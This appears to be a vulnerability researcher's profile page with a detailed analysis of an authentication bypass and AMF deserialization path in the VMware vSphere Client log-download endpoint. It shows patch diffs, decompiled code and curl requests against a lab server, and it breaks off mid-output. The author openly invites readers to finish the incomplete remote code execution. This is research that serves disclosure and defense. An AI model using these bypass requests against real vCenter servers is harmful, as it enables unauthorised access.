wvu-r7 (434)

Last Login: January 24, 2022
Assessments
121
Score
434
2nd Place

wvu-r7's Latest (20) Contributions

Sort by:
Filter by:
2
Ratings
Technical Analysis

Attacker value is very high because CVE-2021-26914 is RCE as SYSTEM in a mobile VPN server, and successful exploitation may allow an attacker to pivot into an internal network.

Exploitability is also very high because the vulnerability can be trivially exploited in a single, unauthenticated HTTP request.

Technical details have already been published. A Metasploit module and an InsightVM check are both available.

1
Ratings
Technical Analysis

Please see the Rapid7 analysis.

1

I haven’t forgotten about this. I’ll circle back to it later. Thanks!

2
Ratings
Technical Analysis

Please see the Rapid7 analysis.

2
Technical Analysis

The Long Tail of CVE-2017-5641

This is not CVE-2021-21980 or CVE-2021-22049 but rather a curious case of AMF deserialization that was patched against auth bypass in the same update. My notes are as follows. RCE is incomplete, but maybe you can finish it!

Analyzing the patch and discovering the auth bypass

   public void doFilter(ServletRequest paramServletRequest, ServletResponse paramServletResponse, FilterChain paramFilterChain) throws IOException, ServletException {
@@ -90,13 +122,11 @@ public class SessionManagementFilter implements Filter {
       SessionUtil.setHttpRequest(httpServletRequest);
       addHstsHeader(httpServletRequest, httpServletResponse);
       String str = httpServletRequest.getRequestURI();
-      boolean bool = str.endsWith("download/logs");
-      if (this._clientIdSecurityEnabled && bool) {
-        boolean bool1 = validateClientId(httpServletRequest, httpServletResponse);
-        if (!bool1) {
-          httpServletResponse.setStatus(401);
-          return;
-        }
+      if (this._authenticationProtectionEnabled &&
+        !isSessionAuthenticated(httpServletRequest.getSession()) && !SessionUtil.isRequestWithValidSessionIndexCookie(httpServletRequest)) {
+        _logger.warn("Rejecting request for URI: " + str + " without a valid client id!");
+        httpServletResponse.setStatus(401);
+        return;
       }
       if (this._isH5Client || str.endsWith(".html")) {
         HttpSession httpSession = httpServletRequest.getSession(true);
  private boolean validateClientId(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) {
    String str1 = SessionUtil.getClientId(paramHttpServletRequest.getSession());
    String str2 = extractClientId(paramHttpServletRequest);
    return (str1 != null || str2 != null);
  }
  private String extractClientId(HttpServletRequest paramHttpServletRequest) {
    String str = paramHttpServletRequest.getHeader("webClientSessionId");
    if (str == null)
      str = paramHttpServletRequest.getParameter("webClientSessionId");
    return str;
  }

Testing a GET request without the webClientSessionId parameter

wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs
*   Trying 172.16.57.237:443...
* Connected to 172.16.57.237 (172.16.57.237) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.237; C=US
*  start date: Nov 30 23:59:14 2021 GMT
*  expire date: Dec  1 11:59:14 2023 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> GET /vsphere-client/download/logs HTTP/1.1
> Host: 172.16.57.237
> User-Agent: curl/7.80.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401
< Set-Cookie: JSESSIONID=87EF28C1FB437E91D3A46739E6FC1774; Path=/vsphere-client; Secure; HttpOnly
< Content-Length: 0
< Date: Sat, 04 Dec 2021 00:57:08 GMT
< Server: Anonymous
<
* Connection #0 to host 172.16.57.237 left intact
wvu@kharak:~$

Testing a GET request with the webClientSessionId parameter

wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs?webClientSessionId=nope
*   Trying 172.16.57.237:443...
* Connected to 172.16.57.237 (172.16.57.237) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.237; C=US
*  start date: Nov 30 23:59:14 2021 GMT
*  expire date: Dec  1 11:59:14 2023 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> GET /vsphere-client/download/logs?webClientSessionId=nope HTTP/1.1
> Host: 172.16.57.237
> User-Agent: curl/7.80.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 405
< Set-Cookie: JSESSIONID=3DDE7D387076B9E7814A940DACA2B6B4; Path=/vsphere-client; Secure; HttpOnly; SameSite=None
< Allow: POST
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-XSS-Protection: 1; mode=block
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< Content-Type: text/html;charset=utf-8
< Content-Language: en
< Content-Length: 749
< Date: Sat, 04 Dec 2021 00:57:46 GMT
< Server: Anonymous
<
* Connection #0 to host 172.16.57.237 left intact
<!doctype html><html lang="en"><head><title>HTTP Status 405 – Method Not Allowed</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 405 – Method Not Allowed</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> Request method &#39;GET&#39; not supported</p><p><b>Description</b> The method received in the request-line is known by the origin server but not supported by the target resource.</p><hr class="line" /><h3>Apache Tomcat/8.5.61</h3></body></html>wvu@kharak:~$
[2021-12-04T00:57:46.537Z] [WARN ] http-nio-9090-exec-2         70000066 ###### ###### o.s.web.servlet.mvc.support.DefaultHandlerExceptionResolver       Resolved exception caused by handler execution: org.springframework.web.HttpRequestMethodNotSupportedException: Request method 'GET' not supported

Testing a POST request with the webClientSessionId parameter

wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d webClientSessionId=nope
*   Trying 172.16.57.237:443...
* Connected to 172.16.57.237 (172.16.57.237) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.237; C=US
*  start date: Nov 30 23:59:14 2021 GMT
*  expire date: Dec  1 11:59:14 2023 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /vsphere-client/download/logs HTTP/1.1
> Host: 172.16.57.237
> User-Agent: curl/7.80.0
> Accept: */*
> Content-Length: 23
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONID=950054453E83C0E133D9048BD60EEB61; Path=/vsphere-client; Secure; HttpOnly
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-XSS-Protection: 1; mode=block
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< Content-Length: 0
< Date: Sat, 04 Dec 2021 00:58:47 GMT
< Server: Anonymous
<
* Connection #0 to host 172.16.57.237 left intact
wvu@kharak:~$
[2021-12-04T00:58:47.452Z] [WARN ] http-nio-9090-exec-5         70000067 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController         ClientId is null.
[2021-12-04T00:58:47.452Z] [ERROR] http-nio-9090-exec-5         70000067 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController         There is no spec for downloading logs in the request.

Analyzing the DownloadLogController class and discovering AMF deserialization

  @RequestMapping(method = {RequestMethod.POST})
  public void downloadLogBundles(final HttpServletRequest request, final HttpServletResponse response) throws IOException, Exception {
    final DownloadingLogsTask downloadingLogsTask;
    final HttpSession session = request.getSession();
    Map<String, String[]> map = request.getParameterMap();
    final String clientId = SessionUtil.getClientId(httpSession);
    if (str == null)
      _logger.warn("ClientId is null.");
    final SelectedLogsSpec selectedLogsSpec = processSelectedLogsSpecParameter(map);
    final Collection<LogBundleDownloadSpec> logBundleDownloadSpecs = processLogBundleDownloadSpecs(map);
    if (selectedLogsSpec == null && collection == null) {
      _logger.error("There is no spec for downloading logs in the request.");
      return;
    }
    ManagedObjectReference managedObjectReference = DownloadingLogsTask.findTaskTarget(selectedLogsSpec, collection);
    if (managedObjectReference != null) {
      int i = extractFileIdParam(map);
      downloadingLogsTask = new DownloadingLogsTask(str, managedObjectReference, i, this._queryExecutor, this._taskRegistry);
    } else {
      downloadingLogsTask = null;
    }
    try {
      final ZipOutputStream zipStream = new ZipOutputStream((OutputStream)response.getOutputStream());
      Runnable runnable = new Runnable() {
          public void run() {
            try {
              SessionUtil.setHttpRequest(request);
              SessionUtil.setHttpSession(session);
              response.setContentType("application/zip");
              if (selectedLogsSpec == null) {
                KeyStore keyStore = DownloadLogController.this._keystoreService.getKeyStore();
                Map map = DownloadLogController.this.parseParameters(logBundleDownloadSpecs, clientId, keyStore);
                DownloadLogController.this.writeZipFile(map, zipStream, clientId, downloadingLogsTask);
              } else {
                if (selectedLogsSpec.vCenterLogsIncluded) {
                  ManagedObjectReference managedObjectReference = DownloadLogController.this.invokeGenerateLogBundlesTask(selectedLogsSpec.targetObjectReference, clientId);
                  DownloadLogController.this.writeVcLogsToStream(zipStream, managedObjectReference, selectedLogsSpec, clientId, downloadingLogsTask);
                  DownloadLogController.this.writeHostLogsToStream(zipStream, selectedLogsSpec, clientId, downloadingLogsTask);
                } else {
                  DownloadLogController.this.writeHostLogsToStream(zipStream, selectedLogsSpec, clientId, downloadingLogsTask);
                }
                zipStream.finish();
              }
              if (downloadingLogsTask != null)
                downloadingLogsTask.updateState(TaskState.SUCCESS, null);
            } catch (InterruptedException interruptedException) {
              DownloadLogController._logger.info("Downloading logs task thread was interrupted.");
              Thread.currentThread().interrupt();
            } catch (WriteIOException writeIOException) {
              if (downloadingLogsTask != null) {
                DownloadLogController._logger.info("Downloading logs is cancelled.");
                DownloadLogController._logger.debug("Exception in downloading logs: ", writeIOException);
                downloadingLogsTask.updateState(TaskState.CANCELED, null);
              }
            } catch (Exception exception) {
              DownloadLogController._logger.error("Error downloading logs.", exception);
              if (downloadingLogsTask != null) {
                TaskState taskState = downloadingLogsTask.getState();
                if (!TaskState.CANCELED.equals(taskState))
                  downloadingLogsTask.updateState(TaskState.ERROR, exception);
              }
            }
          }
        };
      FutureTask futureTask = new FutureTask(runnable, null);
      if (downloadingLogsTask != null)
        TaskUtil.addClientTaskKeyFutureCloseablePair(downloadingLogsTask
            .getKey(), futureTask, zipOutputStream);
      try {
        ExecutorUtil.executeTasks(
            Collections.singleton(futureTask), this._executor);
      } catch (InterruptedException interruptedException) {}
      if (downloadingLogsTask != null)
        TaskUtil.removeClientTaskKeyFromMap(downloadingLogsTask.getKey());
    } catch (Exception exception) {
      if (downloadingLogsTask != null && TaskState.RUNNING ==

        (downloadingLogsTask.getClientTaskInfo()).state)
        downloadingLogsTask.updateState(TaskState.ERROR, exception);
      throw exception;
    }
  }
  private SelectedLogsSpec processSelectedLogsSpecParameter(Map<String, String[]> paramMap) throws IOException {
    String[] arrayOfString = paramMap.get("SelectedLogsSpec");
    if (ArrayUtil.isNullOrEmpty((Object[])arrayOfString))
      return null;
    return parseSelectedLogsSpec(arrayOfString[0]);
  }
  private static SelectedLogsSpec parseSelectedLogsSpec(String paramString) throws IOException {
    Base64.Decoder decoder = new Base64.Decoder();
    decoder.decode(paramString);
    byte[] arrayOfByte = decoder.flush();
    ClassLoader classLoader1 = TypeMarshallingContext.getTypeMarshallingContext().getClassLoader();
    ClassLoader classLoader2 = SelectedLogsSpec.class.getClassLoader();
    Amf3Input amf3Input = new Amf3Input(getAmfSerializationContext(classLoader2));
    amf3Input.setInputStream(new ByteArrayInputStream(arrayOfByte));
    SelectedLogsSpec selectedLogsSpec = null;
    try {
      while (amf3Input.available() > 0) {
        Object object = amf3Input.readObject();
        if (object instanceof SelectedLogsSpec) {
          selectedLogsSpec = (SelectedLogsSpec)object;
        } else if (object instanceof Object[]) {
          for (Object object1 : (Object[])object) {
            if (object1 instanceof SelectedLogsSpec) {
              selectedLogsSpec = (SelectedLogsSpec)object1;
              break;
            }
          }
        } else if (object instanceof Map) {
          for (SelectedLogsSpec selectedLogsSpec1 : ((Map)object).values()) {
            if (selectedLogsSpec1 instanceof SelectedLogsSpec) {
              selectedLogsSpec = selectedLogsSpec1;
              break;
            }
          }
        }
        if (selectedLogsSpec != null)
          break;
      }
    } catch (ClassNotFoundException classNotFoundException) {
      _logger.warn("The AMF deserialization fails.", classNotFoundException);
    } finally {
      amf3Input.close();
      TypeMarshallingContext.getTypeMarshallingContext()
        .setClassLoader(classLoader1);
    }
    return selectedLogsSpec;
  }

Testing AMF deserialization using a bogus string

wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d "webClientSessionId=nope&SelectedLogsSpec=lol"
*   Trying 172.16.57.237:443...
* Connected to 172.16.57.237 (172.16.57.237) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.237; C=US
*  start date: Nov 30 23:59:14 2021 GMT
*  expire date: Dec  1 11:59:14 2023 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /vsphere-client/download/logs HTTP/1.1
> Host: 172.16.57.237
> User-Agent: curl/7.80.0
> Accept: */*
> Content-Length: 44
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Set-Cookie: JSESSIONID=587387E51FA794E6CE03FB9DBB454777; Path=/vsphere-client; Secure; HttpOnly
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-XSS-Protection: 1; mode=block
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< Content-Type: text/html;charset=utf-8
< Content-Length: 2977
< Date: Sat, 04 Dec 2021 01:02:05 GMT
< Connection: close
< Server: Anonymous
<



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0014)about:internet -->
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <style type="text/css" media="screen">
         html {
            background: #3075ab; /* Old browsers */
            background: -moz-linear-gradient(top,  #3a8dc8 0%, #183a62 100%); /* FF3.6+ */
            background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#3a8dc8), color-stop(100%,#183a62)); /* Chrome,Safari4+ */
            background: -webkit-linear-gradient(top,  #3a8dc8 0%,#183a62 100%); /* Chrome10+,Safari5.1+ */
            background: -o-linear-gradient(top,  #3a8dc8 0%,#183a62 100%); /* Opera 11.10+ */
            background: -ms-linear-gradient(top,  #3a8dc8 0%,#183a62 100%); /* IE10+ */
            background: linear-gradient(to bottom,  #3a8dc8 0%,#183a62 100%); /* W3C */
            filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#3a8dc8', endColorstr='#183a62',GradientType=0 ); /* IE6-9 */
            background-repeat: no-repeat;

            height: 100%;
            overflow: auto;
            margin: 0;
            padding: 0;
         }

         #errorAreaWrapper {
            position: relative;
            float: left;
            left: 50%;
            margin-top: 30px;
         }

         #errorArea {
            position: relative;
            float: left;
            left: -50%;
            padding: 15px;
            background-color: white;
            font-size: 14px;
            color: #000000;
            font-family: Georgia, Arial, Helvetica, sans-serif;
            border: 1px solid black;
         }

         #errorImage {
            border: 0;
            margin-right: 10px;
            display: inline-block;
            vertical-align: top;
         }

         #errorAllText {
            display: inline-block;
            vertical-align: top;
            min-width: 500px;
            max-width: 700px;
         }

         #errorSorry {
            font-weight: bold;
         }

         #errorMessage {
            padding-top: 10px;
            padding-bottom: 10px;
         }

         #errorCheckLog {
            font-style: italic;
         }
      </style>
   </head>
   <body>
      <div id="errorAreaWrapper">
        <div id="errorArea">
          <div id="errorImage"><img src="/vsphere-client/assets/warning48x.png" alt="Error" /></div>
          <div id="errorAllText">
             <div id="errorSorry">A server error occurred.</div>
             <div id="errorMessage">a partial block (3 of 4 bytes) was dropped, decoded data is probably truncated!</div>
             <div id="errorCheckLog">Check the vSphere Web Client server logs for details.</div>
          </div>
        </div>
      </div>
   </body>
</html>
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):
wvu@kharak:~$
[2021-12-04T01:02:05.830Z] [WARN ] http-nio-9090-exec-8         70000068 ###### ###### com.vmware.vsphere.client.logbundle.DownloadLogController         ClientId is null.
[2021-12-04T01:02:05.831Z] [ERROR] http-nio-9090-exec-8          o.a.c.c.C.[.[localhost].[/vsphere-client].[downloadManager]       Servlet.service() for servlet [downloadManager] in context with path [/vsphere-client] threw exception [Request processing failed; nested exception is java.lang.IllegalStateException: a partial block (3 of 4 bytes) was dropped, decoded data is probably truncated!] with root cause java.lang.IllegalStateException: a partial block (3 of 4 bytes) was dropped, decoded data is probably truncated!
	at flex.messaging.util.Base64$Decoder.flush(Base64.java:136)
	at com.vmware.vsphere.client.logbundle.DownloadLogController.parseSelectedLogsSpec(DownloadLogController.java:732)
	at com.vmware.vsphere.client.logbundle.DownloadLogController.processSelectedLogsSpecParameter(DownloadLogController.java:584)
	at com.vmware.vsphere.client.logbundle.DownloadLogController.downloadLogBundles(DownloadLogController.java:201)
	at sun.reflect.GeneratedMethodAccessor196.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.springframework.web.bind.annotation.support.HandlerMethodInvoker.invokeHandlerMethod(HandlerMethodInvoker.java:181)
	at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.invokeHandlerMethod(AnnotationMethodHandlerAdapter.java:440)
	at org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter.handle(AnnotationMethodHandlerAdapter.java:428)
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967)
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901)
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970)
	at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:317)
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:127)
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:91)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:114)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:137)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:111)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:150)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:170)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:116)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:66)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at com.vmware.vise.security.websso.SecurityRequestWrapperFilter.doFilterInternal(SecurityRequestWrapperFilter.java:47)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:331)
	at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:214)
	at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:177)
	at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:347)
	at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:263)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.security.SessionManagementFilter.doFilter(SessionManagementFilter.java:177)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vsphere.client.logging.MDCLogFilter.doFilterInternal(MDCLogFilter.java:41)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.extensionfw.DeploymentFilter.doFilter(DeploymentFilter.java:55)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.util.jsp.JspFilter.doFilterInternal(JspFilter.java:91)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at com.vmware.vise.security.SameSiteCookieHeaderFilter.doFilter(SameSiteCookieHeaderFilter.java:73)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:544)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
	at org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:764)
	at org.eclipse.virgo.web.tomcat.support.ApplicationNameTrackingValve.invoke(ApplicationNameTrackingValve.java:33)
	at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:616)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:831)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1634)
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.lang.Thread.run(Thread.java:748)

Testing AMF deserialization using a Base64-encoded string

wvu@kharak:~$ curl -kv https://172.16.57.237/vsphere-client/download/logs -d "webClientSessionId=nope&SelectedLogsSpec=QQ=="
*   Trying 172.16.57.237:443...
* Connected to 172.16.57.237 (172.16.57.237) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.237; C=US
*  start date: Nov 30 23:59:14 2021 GMT
*  expire date: Dec  1 11:59:14 2023 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
